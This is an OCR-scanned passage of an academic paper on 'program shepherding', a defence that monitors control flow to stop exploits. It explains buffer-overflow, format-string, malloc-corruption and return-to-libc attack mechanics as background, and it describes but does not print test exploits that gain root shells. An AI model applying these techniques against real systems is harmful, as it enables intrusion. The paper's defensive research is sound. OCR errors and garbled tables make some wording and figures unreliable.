attacks target buffer overflow and fonnat string vulner- 
abilities. However, it is very difficult to prevent all ex- 
ploits that allow address overwrites, as they are as varied 
as program bugs themselves. It 1s also unreasonable to 


This research was supported in part by the Defense Advanced Re- 
search Projects Agency under Grant F29601!-01 -2-0166. 


try to stop malevolent writes to memory containing pro- 
gram addresses, because addresses are stored in many 
different places and are legitimately manipulated by the 
application, compiler, linker, and loader, 


Security attacks cannot be thwarted by simply inserting 
checks around application code that may cause system- 
wide changes. A malicious entity that gains control can 
simply inject its own code to perform any operation that 
the overall application has permission to do. Hijacking 
trusted applications such as web servers, mail transfer 
agents, and login servers, which are typically run with 
many global permissions, gives full access to machine 
resources. 


Rather than attempt to stop a multitude of attack paths, 
where the protection is only as powerful as the weakest 
link, our approach is to prevent the execution of mali- 
cious code. We present program shepherding — mon- 
itoring control flow transfers to enforce a security pol- 
icy. Program shepherding prevents execution of data 
or modified code and ensures that libraries are entered 
only through exported entry points. Instead of focusing 
on preventing memory corruption, we prevent the final 
step of an attack, the transfer of control to malevolent 
code. This allows thwarting a broad range of security 
exploits with a simple central system that can itself be 
easily made secure. Program shepherding also provides 
sandboxing that cannot be circumvented, allowing con- 
struction of customized security policies. 


Program shepherding requires verifying every branch in- 
struction, which is not easily done via static instrumen- 
tation due to the dynamism of shared libraries and in- 
direct branches. Implementation tn an interpreter is the 
most straightforward solution. We reduce the overhead 
of interpretation by performing security checks once and 
placing the resulting trusted code in a cache, where it 
can be executed overhead-free in the future. Our im- 
plementation naturally fits within the RIO infrastructure, 
a dynamic optimizer built on the JA-32 version [3] of 
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Dynamo [2]. The resulting system imposes minimal or 
no performance overhead, operates on unmodified native 
binaries, and requires no special hardware or operating 
system support. Our shepherding implementation on top 
of RIO is implemented for both Windows and Linux; 
however, this paper mainly focuses on Linux. 


In Section 2 we classify the types of security exploits 
that we are aiming to prevent. Program shepherding’s 
three techniques are descnbed in Section 3, and Sec- 
tion 4 shows how to combine them to produce potent 
security policies. Section5 discusses how we implement 
program shepherding efficiently, and Section 6 describes 
how to prevent attacks directed at our system itself. We 
present experimental results and the performance of our 
system in Section 7. 


2 Security Exploits 


This section provides some background on the types of 
security exploits we are targeting. We classify security 
exploits based on three characteristics: the program vul- 
nerability being exploited, the stored program address 
being overwritten, and the malicious code that is then 
executed. 


2.1 Program Vulnerabilities 


The two most-exploited classes of program bugs involve 
buffer overflows and forniat strings. Buffer overflow 
vulnerabilities are present when a buffer with weak or 
no bounds checking 1s populated with user supplied data. 
A trivial example is unsafe use of the C library functions 
strcpy or gets. This allows an attacker to corrupt 
adjacent structures containing program addresses, most 
often return addresses kept on the stack [7]. Buffer over- 
flows affecting a regular data pointer can actually have 
a more disastrous effect by allowing a memory write to 
an arbitrary location on a subsequent use of that data 
pointer. One particular attack corrupts the fields of a 
double-linked free list kept in the headers of malloc 
allocation units [16]. On a subsequent call to free, the 
list update operation 
this->prev->next = this->next; 

will modify an arbitrary location with an arbitrary value. 


Format string vulnerabilities also allow attackers to 
modify arbitrary memory locations with arbitrary values 
and often out-rank buffer overflows in recent security 
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bulletins [6, 19]. A format string vulnerability occurs if 
the format string to a function from the printf family 
({,£,s,sn}printf£, syslog) is provided or con- 
structed from data from an outside source. The most 
common case is when printf (str) Is used instead 
of printf ("%s", str). The first problem ts that at- 
tackers may introduce conversion specifications to en- 
able them to read the memory contents of the process. 
The real danger, however, comes from the %n conver- 
sion specification which directs the number of characters 
printed so tar to be written back. The location where the 
number is stored and its value can easily be controlled 
by an attacker with type and width specifications, and 
more than one write of an arbitrary value to an arbitrary 
address can be performed in a single attack. 


In this paper we assume that attackers can exploit a vul- 
nerability that gives them random write access to arbi- 
trary addresses 1n the program address space. This abil- 
ity can be used to overwrite any stored program address 
to transfer control of the process to the attacker. 


2.2 Stored Program Addresses 


Many entities participate tn transferring control in a pro- 
gram execution. Compilers, linkers, loaders, runtime 
systems, and hand-crafted assembly code all have legit- 
imate reasons to transfer control. Program addresses are 
credibly manipulated by most of these entities, e.g., dy- 
namic loaders patch shared object functions; dynamic 
linkers update relocation tables; and language runtime 
systems modify dynamic dispatch tables. Generally, 
these program addresscs are intermingled with and in- 
distinguishable from data. In such an environment, pre- 
venting a control transfer to malicious code by stopping 
illegitimate memory writes is next to impossible. It re- 
quires the cooperation of numerous trusted and untrusted 
entities that need to check many different conditions and 
understand high-level semantics in a complex environ- 
ment. 


Security exploits can attack program addresses stored in 
many different places. Buffer overflow attacks target 
addresses adjacent to the vulnerable buffer. The clas- 
sic return address attacks and local function poiter at- 
tacks exploit overflows of stack allocated buffers. Global 
data and heap buffer overflows also allow global func- 
tion pointer attacks and set jmp Structure attacks. Data 
pointer buffer overflows, malloc overflow attacks, and 
$n format string attacks are able to modify any stored 
program address in the vulnerable application — in ad- 
dition to the aforementioned addresses, these attacks 
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target entries in the atexit list, .dtors destructor 
routines, and in the Global Offset Table (GOT) [12] of 
shared object entries. 


2.3. Malicious Code 


An attacker can cause damage with injection of new ma- 
liclous code or by malicious reuse of already present 
code. Usually the first approach 1s taken and the attack 
code is implemented as new native code that Is injected 
in the program address space as data [20]. New code can 
be injected into various areas of the address space: in a 
stack buffer, static data segment, near or far heap buffer, 
or even the Global Offset Table. Since normally there 
is no distinction between read and execute privileges for 
memory pages (this 1s the case for | A-32), the only re- 
quirement is that the pages are writable during the tn- 
jection phase. Modifying any stored program address to 
point to the beginning of the introduced code will trigger 
Intrusion when that address 1s used for control transfer. 


It is also possible to reuse existing code by changing a 
stored program address and constructing an activation 
record with suitable arguments. A simple but power- 
ful attack reuses existing code by changing a function 
pointer to the C library function system, and arranges 
the first argument to be an arbitrary shell command to 
be run. Also note that reuse of existing code can in- 
clude jumping into the middle of a sandboxed operation, 
bypassing the sandboxing checks and exccuting the op- 
eration that was intended to be protected. In addition, a 
jump into the middle of an instruction (on |A-32 instruc- 
tions are variable-sized and unaligned) could cause exe- 
cution of an unintended and possibly malicious instruc- 
tion stream; however, such an attack ts very unlikely. 


An attacker may be able to form higher-level malicious 
code by introducing data carefully arranged as a chain 
of activation records, so that on return from each func- 
tion execution continues in the next function of the 
chain [18]. The prepared activation record return ad- 
dress points to the code in a function epilogue that shifts 
the stack pointer to the following activation record and 
continues execution in the next function. Overwriting a 
suitable sequence of function pointers may also produce 
higher-level malicious code. 


3 Program Shepherding 


The program shepherding approach to preventing exe- 
cution of malicious code is to monitor all control trans- 
fers to ensure that each satisfics a given security policy. 
This allows us to ignore the complcxities of various vul- 
nerabilities and the difficulties in preventing illegitimate 
writes to stored program addresses. Instead, we catch a 
large class of security attacks by preventing exccution of 
malevolent code. We do this by employing three tech- 
niques: restricted code origins, restricted control trans- 
fers, and un-circumventable sandboxing. This section 
describes these techniques, while Section 4 discusses 
how to build security policies using these techniques. 


3.1 Restricted Code Origins 


In monitoring all code that is executed, each tnstruc- 
tion’s origins are checked against a security policy to 
see if it should be given execute privileges. Code ori- 
gins are classified into these categories: from the orig- 
inal image on disk and unmodified, dynamically gener- 
ated but unmodified since generation, and code that has 
been modified. Finer distinctions could also be made. 
We describe in Section 5.3 how to distinguish original 
code from modified and possibly malicious codc. 


A hardware execute flag for memory pages can provide 
similar features to our restricted code origins. How- 
ever, it cannot by itself duplicate program shepherd- 
ing’s features because it cannot stop inadvertent or mali- 
cious changes to protection flags. Program shepherding 
uses un-circumventable sandboxing, described in Sec- 
tion 3.3, to prevent this from happening. Furthermore, 
program shepherding provides more than one bit of priv- 
\lege information: it distinguishes different types of exe- 
cute privileges for which different security policies may 
be specified. 


3.2 Restricted Control Transfers 


Program shepherding allows arbitrary restrictions to be 
placed on control transfers in an efficient manner. These 
restrictions can be based on both the source and destina- 
tion of a transfer as well as the type of transfer (direct or 
indirect call, return, jump, etc.). For example, the calling 
convention could be enforced by requiring that a return 
Instruction only target the instruction after a call. An- 
other example is forbidding execution of shared library 
code except through declared entry points. 
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3.3. Un-Circumventable Sandboxing 


Program shepherding provides direct support for re- 
stricting code origins and control transfers. Execution 
can be restricted in other ways by adding sandboxing 
checks on other types of operations. With the ability to 
monitor all transfers of control, program shepherding is 
able to guarantee that these sandboxing checks cannot be 
bypassed. Sandboxing without this guarantee can never 
provide true security —- 1f an attack can gain control of 
the execution, it can jump straight to the sandboxed op- 
eration, bypassing the checks. In addition to allowing 
construction of arbitrary security policies, this guaran- 
tee 1s used to enforce the other two program shepherding 
techniques by protecting the shepherding system itself 
(see Section 6). 


4 Security Policies 


Program shepherding’s three techniques can be used to 
provide powerful security guarantees. They allow us to 
strictly enforce a safe subset of the instruction set ar- 
chitecture and the operating system interface. There are 
tradeoffs between program freedom and security: if re- 
strictions are too strict, many false alarms will result 
when there 1s no actual intrusion. This section discusses 
the potential design space of security policies that pro- 
vide significant protection for reasonable restrictions of 
program freedom. We envision a system with customiz- 
able policy settings; however, our current system imple- 
ments a single security policy, which is described later 
in this section. 


Table | lists sample policy decisions that can be imple- 
mented with program shepherding. Consider the policy 
decision in the upper right of the table: allowing unre- 
stricted execution of code only if it is from the original 
application or library image on disk and ts unmodified. 
Such a policy wilt allow the vast majority of programs 
to execute normally. Yet the policy can stop all secu- 
rity exploits that inject code masquerading as data into 
a program. This covers a majority of currently deployed 
security attacks, including the classic stack buffer over- 
flow attack. 


A relaxation of this policy allows dynamically generated 
code, but requires that it contain no system calls. Le- 
gitimate dynamically-generated code is usually used for 
performance; for example, many high-level languages 
employ just-in-time compilation [1, 11] to generate op- 
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timized pieces of code that will be executed natively 
rather than interpreted. This code almost never con- 
tains system calls or other potentially dangerous oper- 
ations. For this reason, imposing a strict security pol- 
icy on dynamically-generated code is a reasonable ap- 
proach. Shared libraries that are explicitly loaded (1.e., 
with dlopen or LoadLibrary) and dynamically se- 
lected based on user input should also be considered po- 
tentially unsafe. Similarly, self-modifying code should 
usually be disallowed, but may be explicitly allowed for 
certain applications. 


Direct control transfers that satisfy the code origin poli- 
cies can always be allowed within a segment. Calls and 
jumps that transition from one executable segment to an- 
other, e.g., from application code to a shared library, or 
from one shared library to another, can be restricted to 
enforce library interfaces. Targets of inter-segment calls 
and jumps can be verified against the export list of the 
target library and the import list of the source segment, 
in order to prevent malevolent jumps into the middle of 
library routines. 


Indirect control transfers can be carefully limited. The 
calling convention can be enforced by preventing return 
instructions from targeting non-call sites, and limiting 
direct call sites to be the target of at most one return 
site. Controlling return targets severely restricts exploits 
that overwrite return addresses, as well as opportunities 
for stitching together fragments of existing code tn an 
attack. 


Indirect calls can be completely disallowed in many ap- 
plications. Less restrictive general policies are needed, 
but they require higher-level information and/or com- 
piler support. For C++ code it is possible to keep read- 
only virtual method tables and allow indirect calls using 
targets from these areas only. However, further relax- 
ations are needed to allow callback routines in C pro- 
grams. A policy that provides a general solution re- 
quires compiler support, profiling runs, or other exter- 
nal sources of information to determine all valid indirect 
call targets. A more relaxed policy restricts indirect calls 
from libraries no more than direct calls are restricted (if 
between segments they can only target import and export 
entries), while calls within the application text segment 
can target only intra-segment function entry points. The 
requirement of function entry points beyond a simple 
intra-segment requirement prevents indirect calls from 
targeting direct calls or indirect jumps that validly cross 
executable segment points and thus avoid the restric- 
tion. It is possible to extract the valid user program en- 
try points from the symbol tables of unstripped binaries. 
Unfortunately, stripped binaries do not keep that infor- 
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Table 1: Sample list of policies built using program shepherding. Each row shows a continuum of choices ranging 
from most restrictive on the right to least restrictive onthe left for how to control the action in the left-hand column. 
Bold entries indicate the policy choices that we implemented for our experimental system. 


mation. 


Indirect jumps are used in the implementation of 
switch statements and dynamically shared libraries. 
The first use can easily be allowed when targets are val- 
idated to be coming from read-only memory and are 
hence trusted. The second use, shared library calls, 
should be allowed, but such inter-segment indirect jumps 
can be restricted to library entry points. These restric- 
tions will not allow an indirect yump instruction that is 
used as a function return tn place of an actual return in- 
struction. However, we have yet to see such code. It will 
certainly not be generated by compilers since it breaks 
important hardware optimizations in modern 1A-32 pro- 
cessors [21]. 


Sandboxing can provide detection of attacks that get past 
other barriers. For example, an attack that overwrites 
the argument passed to the system routine may not be 
stopped by any aforementioned policy. Program shep- 
herding’s guaranteed sandboxing can be used for intru- 
sion detection for this and other attacks. The security 
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policy must decide what to check for (for example, sus- 
picious calls to system calls like execve) and what to 
do when an intrusion Is actually detected. These issues 
are beyond the scope of this paper, but have been dis- 
cussed elsewhere [15, 17]. 


Sandboxing with checks around every load and store 
could be used to ensure that only certain memory re- 
gions are accessed during execution of untrusted code 
segments. This would provide significant security but at 
great expense in performance. 


We now turn our attention to a specific security policy 
made up of the bold entries in Table 1. We implemented 
this policy in our prototype system. For this security pol- 
icy, Figure 1 summarizes the contribution of each pro- 
gram shepherding technique toward stopping the types 
of attacks described in Section 2. The following sections 
describe in detail which policy components are sufficient 
to stop each attack type. 
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Attack Type 


Injected Code Existing Code 
Single Calls Chained Calls Multiple Calls 
Return Indirect Return Indirect 
Jump or Jump or 
Call Call 
Not Itmported Nol Imported 
Imported 


Restricted code origins 


Restricted control transfers 





Un-circumventable sandboxing 


Imported if. 


With Information No 
(e.g., Symbol Information 
Tablc) | 





Figure 1: Capabilities of program shepherding’s three components toward stopping different attack types, for the 
security policy indicated in bold in Table |. The three boxes represent the three components. A filled-in box indicates 
that that component can completely stop the attack type above. Stripes indicate that the attack can be stopped only 
in some cases. The vertical order of the techniques indicates the preferred order for stopping attacks. If a higher 
box completely stops an attack, we do not invoke techniques below it (e.g., sandboxing 1s capable of stopping some 
attacks of every type, but we only use it when the other techniques do not provide full protection). 


4.1 Injected Code Attacks 


The code origin policy disallows execution from ad- 
dress ranges other than the text pages of the binary and 
mapped shared libraries. This stops all exploits that 1n- 
troduce external code, which covers a majority of cur- 
rently deployed security attacks. However, code origin 
checks are insufficient to thwartattacks that change a tar- 
get address pointer to point to existing code in the pro- 
gram address space. 


4.2 Existing Code Attacks 


Most vulnerable programs are unlikely to have code that 
could be maliciously used by an attacker. However, all 
of them have the standard C library mapped into their 
address space. The restrictions on inter-segment control 
transfers limit the available code that can be attacked to 
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that explicitly declared for use by the application. Still, 
many of the large programs import the library routines 
a simple attack needs. For this reason, restricting inter- 
segment transitions to imported entry points would stop 
only a few attacks. 


Return address attacks, however, are severely limited: 
they may only target code following previously executed 
call instructions. A further restriction can easily be pro- 
vided by using restricted control transfers to emulate a 
technique proposed in StackGhost [14]. A random num- 
ber can be xor-ed with the return address stored on the 
stack after a call and before a return. Any modification 
of the return address will result with very high probabil- 
ity in a request for an invalid target. In a threat model 
in which attackers can only write to memory, this tech- 
nique renders execution of the attacker’s intended code 
very unlikely. This protection comes at the low cost of 
two extra instructions per function call, but its additional 
value is hard to determine due to the already limited ap- 
plicability of this kind of exploit. Furthermore, an at- 
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tacker able to exploit a vulnerability that provides ran- 
dom read rights will not be stopped by this policy. Thus, 
we currently do not impose tt. 


4.2.1 Single Calls 


By single call attack we mean an attack that overwrites 
only a single program address (perhaps overwriting non- 
address data as well), thus resulting in a single malicious 
control transfer. We consider the readily available ex- 
ecve system call to be the most vulnerable point in a 
single-call attack. However, it is possible to construct an 
intrusion detection predicate [17] to distinguish attacks 
from valid execve calls, and either terminate the ap- 
plication or drop privileges to limit the exposure. Since 
only a single call can be executed, system calls that need 
to be used in combination for an intrusion do not need 
to be sandboxed. Sandboxing execve also prevents in- 
trusion by an argument overwrite attack. 


Nevertheless, sandboxing alone does not provide protec- 
tion against sequences of operations that an application 
is allowed to do and can be controlled by an attacker. For 
example, an exploit that emulates the normal behavior 
of sshd, t.e., listens ona network socket, accepts a con- 
nection, reads the password file for authentication, but at 
the end writes the password file contents to the network, 
cannot be stopped by simple sandboxing. Therefore, re- 
strictions on control transfers are crucial to prevent con- 
struction of such higher-level code from primitives, and 
hence to limiting possible attacks only to data attacks 
targeting unlikely sequences of existing code. 


4.2.2. Chained Calls 


An attacker may be able to execute a malicious code se- 
quence by carefully constructing a chain of activation 
records, so that on return from each function execution 
continues In the next one [18]. Requiring that return 1n- 
structions target only call sites is sufficient to thwart the 
chained call attack, even when the needed functions are 
explicitly imported and allowed by inter-segment restric- 
tions. The chaining technique is countered because of its 
reliance on return instructions: once to gain control at 
the end of each existing function, and once 1n the code 
to shift to the activation record for the next function call. 


4.2.3 Multiple Calls 


We were able to construct applications that were open 
to an exploit that forms higher-level malicious code by 
changing the targets of a sequence of function calls as 
well as their arguments. Multiple sequential intrusions 
may also allow execution of higher-level malicious code. 
Higher-level semantic information is needed to thwart 
these attacks’ intrusion method by limiting the valid in- 
direct call targets. The policy that is able to stop such 
attacks in general, and withoutany false alarms, requires 
knowing in advance a list of bindings built on a previous 
run or otherwise generated. 


It is also possible to extract the valid user program en- 
try points from the symbol tables of unstripped binaries. 
Allowing indirect calls to target only valid entry points 
within the executable and within the shared libraries lim- 
its the targets for higher-level code construction. If there 
are no simple wrappers in the executable that allow ar- 
bitrary arguments to be passed to the lower level library 
functions, the possibility of successful attack of this type 
will be minimal. 


Nevertheless, interpreters that are too permissive are still 
going to be vulnerable to data attacks that may be used 
to form higher-level malicious code that will not be rec- 
ognized as a threat by these techniques. 


5 Efficient Implementation of Program 
Shepherding 


In order for a security system to be viable, it must be ef- 
ficient. And to be widely and easily adoptable, it must 
be transparent. Transparency includes whether a tar- 
get application must be recompiled or instrumented and 
whether the security system requires special hardware 
Or Operating system support. We examined possible im- 
plementations of program shepherding tn terms of these 
two requirements of efficiency and transparency. 


One possible method of monitoring control flow is in- 
strumentation of application and library code prior to 
execution to add security checks around every branch 
instruction. Beyond the difficulties of statically han- 
dling indirect branches and dynamically loaded libraries, 
the introduced checks impose significant performance 
penalties. Furthermore, an attacker aware of the instru- 
mentation could design an attack to overwrite or bypass 
the checks. Instrumentation ts neither very viable nor 
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Figure 2: Flow chart of the RIO system infrastructure. Dark shading indicates application code. Note that the context 
switch ts simply between the code cache and RIO; application code and RIO code all runs in the same process and 
address space. Dotted lines indicate the performance-critical cases where control must leave the code cache and 


return to RIO. 


applicable. 


Another possibility is to use an interpreter. Interpretation 
is a natural way to monitor program execution because 
every application operation is carried out by a central 
system in which security checks can be placed. How- 
ever, Interpretation via emulation is slow, especially on 
an architecture like [A-32 witha complex instruction set, 
as shown in Table 2. 


5.1 Dynamic Optimization Framework 


Recent advances in dynamic optimization have fo- 
cused on low-overhead methods for examining execu- 
tion traces for the purpose of optimization. This infras- 
tructure provides the exact functionality needed for ef- 
ficient program shepherding. Dynamic optimizers be- 
gin with an interpretation engine. To reduce the emula- 
tion overhead, native translations of frequently executed 
code are cached so they can be directly executed in the 
future. For a security system, caching means that many 
security checks need be performed only once, when the 
code is copied to the cache. If the code cache Is pro- 
tected from malicious modification, future executions of 
the trusted cached code proceed with no security or em- 
ulation overhead. 


We decided to build our program shepherding system as 
an extension to a dynamic optimizer called RIO. RIO 
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is built on top of the IA-32 version [3] of Dynamo [2]. 
RIO’s optimizations are still under development. How- 
ever, this is not a hindrance for our security purposes, as 
its performance ts already reasonable (see Section 7.2). 
RIO is implemented for both 1A-32 Windows and Linux, 
and is capable of running large desktop applications. 


A flow chart showing the operation of RIO 1s presented 
in Figure 2. The figure concentrates on the flow of con- 
tro] in and out of the code cache, which is the bottom 
portion of the figure. The copied application code looks 
just like the original code with the exception of its con- 
trol transfer instructions, which are shown with arrows 
in the figure. 


Below we give an overview of RIO’s operation, focus- 
ing on the aspects that are relevant to our implementa- 
tion of program shepherding. The techniques of program 
shepherding fit naturally within the RIO infrastructure. 
Most monitoring operations only need to be performed 
once, allowing us to achieve good performance in the 
steady-state of the program. In our implementation, a 
pertormance-critical inner loop will execute without a 
single additional instruction beyond the original appli- 
cation code. 
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5.2 RIO: Runtime Introspection and Opti- 
mization 


RIO copies basic blocks (sequences of instructions end- 
ing with a single control transfer instruction) into a code 
cache and executes them natively. At the end of cach 
block the application’s machine state must be saved and 
control returned to RIO (a confext switch) to copy the 
next basic block. Ifa target basic block is already present 
in the code cache, and is targeted via a direct branch, 
RIO finks the two blocks together with a direct jump. 
This avoids the cost of a subsequent context switch. 


Indirect branches cannot be linked 1n the same way be- 
cause their targets may vary. To maintain transparency, 
original program addresses must be used wherever tlic 
application stores indirect branch targets (for example, 
return addresses for function calls). These addresses 
must be translated into their corresponding code cache 
addresses in order to jump to the target code. This trans- 
lation is performed as a fast hashtable lookup. 


To improve the efficiency of indirect branches, and to 
achieve better code layout, basic blocks that are fre- 
quently executed in sequence are stitched together into 
a unit called a trace. When connecting beyond a basic 
block that ends in an indirect branch, a check Is inserted 
toensure that the actual target of the branch will keep ex- 
ecution on the trace. This check is much faster than the 
hashtable lookup, but tf the check fails the full lookup 
must be performed. The superior code layout of traces 
goes a long way toward amortizing the overhead of cre- 
ating them and often speeds up the program [2, 24]. 


Table 2 shows the typical performance 1mprovement 
of each enhancement to the basic interpreter design. 
Caching ts a dramatic performance improvement, and 
adding direct links 1s nearly as dramatic. The final steps 
of adding a fast in-cache lookup for indirect branches 
and building traces improve the performance signifi- 
cantly as well. 


The Windows operating system directly invokes applica- 
tion code or changes the program counter for callbacks, 
exceptions, asynchronous procedure calls, set jmp, and 
the SetThreadContext API routine. These types of 
control flow are intercepted in order to ensure that all 
application code is executed under RIO [3]. Signals on 
Linux must be similarly intercepted. 













System Type 


















Normalized 
crafty | vpr 

Emulation ~300.0 | ~ 300.0 

+ Link direct branches _ | 5.1 

+ Link indirect branches 
Table 2: Performance achieved when various features 
are added to an interpreter, measured on two of the 
ulation results in a slowdown factor of several hundred. 
Successively adding caching, linking, and traces brings 


Execution Time 
+ Basic block cache 26.1 
[eat 
oe as 
SPEC2000 benchmarks [25], crafty and vpr. Pure em- 
the performance down dramatically. 


5.3 Restricted Code Origins 


Restricting execution to trusted code is accomplished by 
adding checks at the point where the system copies a 
basic block into the code cache. These checks need be 
executed only once for each basic block. 


Code origin checking requires that RIO know whether 
code has been modified from its original image on disk, 
or whether it is dynamically generated. This is done by 
write-protecting all pages that are declared as contain- 
ing code on program start-up. In normal ELF [12] bi- 
naries, code pages are separate from data pages and are 
write-protected by default. Dynamically generated code 
is easily detected when the application tries to execute 
code from a writable page, while self-modifying code is 
detected by monitoring calls that unprotect code pages. 


If code and data are allowed to share a page, we make 
a copy of the page, which we write-protect, and then 
unprotect the original page. The copy is then used as 
the source for basic blocks, while the original page’s 
data can be freely modified. A more complex scheme 
must be used if self-modifying code is allowed. Here 
RIO must keep track of the origins of every block in 
the code cache, invalidating a block when its source 
page is modified. The original page must be kept write- 
protected to detect every modification to it. The perfor- 
mance overhead of this depends on how often writes are 
made to code pages, but we expect self-modifying code 
to be rare. Extensive evaluation of applications under 
both Linux and Windows has yet to reveal a use of self- 
modifying code. 
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5.4 Restricted Control Transfers 


The dynamic optimization infrastructure makes moni- 
toring control flow transfers very simple. For direct 
branches, the desired security checks are performed at 
the point of basic block linking. If a transition between 
two blocks is disallowed by the security policy, they are 
not linked together. Instead, the direct branch 1s linked 
to a routine that announces or handles the security vio- 
lation. These checks need only be performed once for 
each potential link. A link that is allowed becomes a 
direct jump with no overhead. 


Indirect control transfer policies add no performance 
overhead in the steady state, since no checks are re- 
quired when execution continues on the same trace. Oth- 
erwise, the hashtable lookup routine translates the tar- 
get program address into a basic block entry address. 
A separate hashtable is used for different types of in- 
direct branch (return instruction, indirect calls, and indi- 
rect branches) to enabletype specific restrictions without 
sacrificing any perfonnance. Security checks for indi- 
rect transfers that only examine their targets have little 
performance overhead, since we place in the hashtable 
only targets that are allowed by the security policy. 
Targets of indirect branches are matched against entry 
points of PLI-defined [12] and dynamically resolved 
symbols to enforce restrictions on inter-segment transi- 
tions, and targets of returns are checked to ensure they 
target only instructions after call sites. Security checks 
on both the source and the target of a transfer will have 
a slightly slower hashtable lookup routine. We have not 
yet implemented any policies that examine the source 
and the target, or apply transformations to the target, and 
so we do not have experimental results to show the ac- 
tual performance impact of such schemes. 


Finally, we must handle non-explicit control flow such 
as signals and Windows-specific events such as call- 
backs and exceptions [3]. We place security checks at 
Our interception points, similarly to indirect branches. 
These abnormal control transfers are rare and so extra 
checks upon their interception do not affect overall per- 
forinance. 


5.5  Un-Circumventable Sandboxing 


When required by the security policy, RIO inserts sand- 
boxing into a basic block when it is copied to the code 
cache. In normal sandboxing, an attacker can jump to 
the middle of a block and bypass the inserted checks. 
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RIO only allows control flow transfers to the top of ba- 
sic blocks or traces in the code cache, preventing this. 


An indirect branch that targets the middle of an existing 
block will miss tn the indirect branch hashtable lookup, 
go back to RIO, and end up copying a new basic block 
into the code cache that will duplicate the bottom half of 
the existing block. The necessary checks will be added 
to the new block, and the block will only be entered from 
the top, ensuring that we follow the security policy. 


When sandboxing system calls, if the system call num- 
ber is determined statically, we avoid the sandboxing 
checks for system calls we are not interested in. This 
is important for providing performance on applications 
that perform many system calls. 


Restricted code cache entry points are crucial not 
just for building custom security policies with un- 
circumventable sandboxing, but also for enforcing the 
other shepherding features by protecting RIO itself. This 
is discussed in the next section. 


6 Protecting RIO 


Program shepherding could be defeated by attacking 
RIO’s own data structures, including the code cache, 
which are in the same address space as the application. 
This section discusses how to prevent attacks on RIO. 
Since the core of RIO 1s a relatively small piece of code, 
and RIO does not rely on any other component of the 
system, we believe we can secure it and leave no loop- 
holes for exploitation. 


6.1 Memory Protection 


We divide execution into two modes: RIO mode and 
application mode. RIO mode corresponds to the top 
half of Figure 2, Application mode corresponds to the 
bottom half of Figure 2, including the code cache and 
the RIO routines that are executed without perfornning a 
context switch back to RIO. For the two modes, we give 
each type of memory page the privileges shown in Ta- 
ble 3. RIO data includes the indirect branch hashtable 
and other data structures. 


All application and RIO code pages are write-protected 
in both modes. Application data is of course writable 
in application mode, and there 1s no reason to protect It 
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RIO mode | Application mode 


| Page Type 





Application code 
Application data RW | RW 
F RIO code cache 


~ RIO code 


RIO data | RW 


Table 3: Privileges of each type of memory page belong- 
ing to the application process. R stands for Read, W for 
Write, and E for Execute. We separate execute privi- 
leges here to makc it clear what code is allowed by RIO 
to execute. 


from RIO, so it remains writable in RIO mode. RIO’s 
data and the code cache can be written to by RIO itself, 
but they must be protected during application mode to 
prevent inadvertent or malicious modification by the ap- 
plication. 


If a basic block copied to the code cache contains a 
system call that may change page privileges, the call 
is sandboxed to prevent changes that violate Table 3. 
Program shepherding’s un-circumventable sandboxing 
guarantees that these system call checks are executed. 
Because the RIO data pages and the code cache pages 
are write-protected when in application mode, and we do 
not allow application code to change these protections, 
we guarantee that RIO’s state cannot be corrupted. 


We should also protect RIO’s Global Offset Table 
(GOT) [12] by binding all symbols on program startup 
and then write-protecting the GOT, although our proto- 
type implementation does not yet do this. 


6.2 Multiple Application Threads 


RIO’s data structures and code cache are thread-private. 
Each thread has its own unique code cache and data 
structures. System calls that modify page privileges are 
checked against the data pages of all threads. When 
a thread enters RIO mode, only that thread’s RIO data 
pages and code cache pages are unprotected. 


A potential attack could occur while one thread is in RIO 
mode and another thread in application mode modifies 
the first thread’s RIO data pages. We could solve this 
problem by forcing all threads to exit application mode 
when any one thread enters RIO mode. We have not 
yet implemented this solution, but its performance cost 
would be minimal on a single processor or on a multi- 
processor when every thread 1s spending most of its time 
executing in the code cache. However, the performance 


cost would be unreasonable on a multiprocessor when 
threads are continuously context switching. We are in- 
vestigating alternative solutions. 


On Windows, we also need to prevent the API routine 
SetThreadContext from setting register values in 
other threads. RIO’s hashtable lookup routine uses a reg- 
ister as temporary storage for the indirect branch target. 
If that register were overwritten, RIO could lose control 
of the application. Our interception of this API routine 
has not interfered with the execution of any of the large 
applications we have been running [3]. In fact, we have 
yet to observe any calls to it. 


7 Experimental Results 


Our program shepherding implementation is able to de- 
tect and prevent a wide range of known security attacks. 
This section presents our test suite of vulnerable pro- 
grams, shows the effectiveness of our system on this test 
suite, and then evaluates the performance of our system 
on the SPEC2000 benchmarks [25]. 


7.1 Effectiveness 


We constructed several programs exhibiting a full spec- 
trum of buffer overflow and format string vulnerabilities. 
Our experiments also included the SPEC2000 bench- 
mark applications [25] and the following applications 
with recently reported security vulnerabilities: 


stunnel-3.21 CAN-2002-0002 [8] A format string vul- 
nerability in stunnel (SSL tunnel) allows remote 
malicious servers to execute arbitrary code because 
several fdprinté£ (a custom file descriptor wrap- 
per of fprintf) calls have no format argument. 


groff-1.16 CAN-2002-0003 [8] The preprocessor of the 
groff formatting system has an exploitable buffer 
overflow which allows remote attackers to gain 
privileges via lpd in the LPRng printing system. 
The pic picture compiler from the groff pack- 
age also has a format string vulnerability [22]. 


ssh-1.2.31 CVE-2001-0144 [8] An _ integer-overflow 
bug in the CRC32 compensation attack detection 
code causes the SSH daemon (typically run as root) 
to create a hashtable with size zero in response to 
long input. Later attempts to write values into the 


11th USENIX Security Symposium 


201 


202 


hashtable provide attackers with random write ac- 
cess to memory. 


sudo-1.6.) CVE-2001-0279 [8] sudo (superuser do) 
allows local users to gain root privileges. A vul- 
nerability caused by an out-of-bound access due to 
incomplete end of loop condition ts triggered by 
long command line arguments. An exploit based 
on malloc corruption has been published [16]. 


Attack code is usually used to immediately give the at- 
tacker a root shell or to prepare the system for easy 
takeover by modifying system files. Hence, the exploits 
in our tests tried to either start a shell with the privi- 
lege of the running process, typically root, or to add a 
root entry into the /etc/passwd file. We based our 
exploits on several “cookbook” and proof-of-concept 
works [4, 27, 16, 22] to inject new code [20], reuse exist- 
ing code in a single call, or reuse code in a chain of mul- 
tiple calls [18]. Existing code attacks used only standard 
C library functions. 


When run natively, our test suite exploits were able to 
get control by modifying a wide variety of code point- 
ers including return addresses; local and global function 
pointers; Setjmp structures; and atexit, .dtors, 
and GOT [12] entries. We investigated attacks against 
RIO itself, e.g., overwriting RIO’s GOT entry to allow 
malicious code to run in RIO mode, but could not come 
up with an attack that could bypass the protection mech- 
anisms presented in Section 6. 


All vulnerable programs were successfully exploited 
when run on a standard RedHat 7.2 Linux installation. 
Execution of the vulnerable binaries under RIO with all 
security checks disabled also allowed successful intru- 
